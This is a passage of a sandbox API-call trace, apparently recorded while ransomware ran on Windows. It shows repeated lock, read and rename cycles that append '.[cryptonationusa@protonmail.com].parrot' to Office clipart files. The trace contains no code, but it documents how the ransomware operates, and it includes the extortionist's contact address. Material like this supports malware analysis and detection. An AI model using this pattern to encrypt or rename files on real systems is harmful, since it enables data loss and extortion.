(hObject=0x288) returned 1 [0135.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.341] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcf8, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.341] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.341] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.343] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbe0, lpOverlapped=0x0) returned 1 [0135.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.343] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcf8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.343] CloseHandle (hObject=0x288) returned 1 [0135.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.347] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2058, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.347] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.347] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.348] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f40, lpOverlapped=0x0) returned 1 [0135.360] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.361] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2058, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.361] CloseHandle (hObject=0x288) returned 1 [0135.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.365] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x416c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.365] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.366] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.367] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4054, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4054, lpOverlapped=0x0) returned 1 [0135.368] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.368] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x416c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.368] CloseHandle (hObject=0x288) returned 1 [0135.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.372] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1be4, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.372] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.373] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.373] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1acc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1acc, lpOverlapped=0x0) returned 1 [0135.374] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.374] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1be4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.374] CloseHandle (hObject=0x288) returned 1 [0135.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.378] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a30, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.378] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.379] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.379] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1918, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1918, lpOverlapped=0x0) returned 1 [0135.380] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.381] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.381] CloseHandle (hObject=0x288) returned 1 [0135.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.385] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.385] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.385] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.387] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.387] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x22a0, lpOverlapped=0x0) returned 1 [0135.388] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.388] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.389] CloseHandle (hObject=0x288) returned 1 [0135.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.392] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1180, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.392] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.392] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.393] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.394] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1068, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1068, lpOverlapped=0x0) returned 1 [0135.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.395] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1180, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.395] CloseHandle (hObject=0x288) returned 1 [0135.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.398] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.398] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.398] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.400] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.400] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a54, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a54, lpOverlapped=0x0) returned 1 [0135.401] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.401] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.401] CloseHandle (hObject=0x288) returned 1 [0135.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.404] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2da4, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.404] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.404] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.406] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.406] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c8c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c8c, lpOverlapped=0x0) returned 1 [0135.407] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.407] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2da4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.408] CloseHandle (hObject=0x288) returned 1 [0135.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.412] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.412] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.412] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.413] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.413] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2fac, lpOverlapped=0x0) returned 1 [0135.414] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.415] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.415] CloseHandle (hObject=0x288) returned 1 [0135.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.419] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x37d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.419] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.419] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.421] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.421] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x36b8, lpOverlapped=0x0) returned 1 [0135.422] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.422] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x37d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.422] CloseHandle (hObject=0x288) returned 1 [0135.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.512] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2024, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.512] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.512] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.582] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f0c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f0c, lpOverlapped=0x0) returned 1 [0135.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.586] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2024, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.586] CloseHandle (hObject=0x288) returned 1 [0135.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.590] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ba0, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.590] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.593] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.593] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a88, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a88, lpOverlapped=0x0) returned 1 [0135.595] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.595] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ba0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.595] CloseHandle (hObject=0x288) returned 1 [0135.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.598] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x69a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.598] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.598] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.600] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.600] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6890, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6890, lpOverlapped=0x0) returned 1 [0135.601] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.601] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x69a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.602] CloseHandle (hObject=0x288) returned 1 [0135.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.605] LockFile (hFile=0x288, dwFileOffsetLow=0x0, 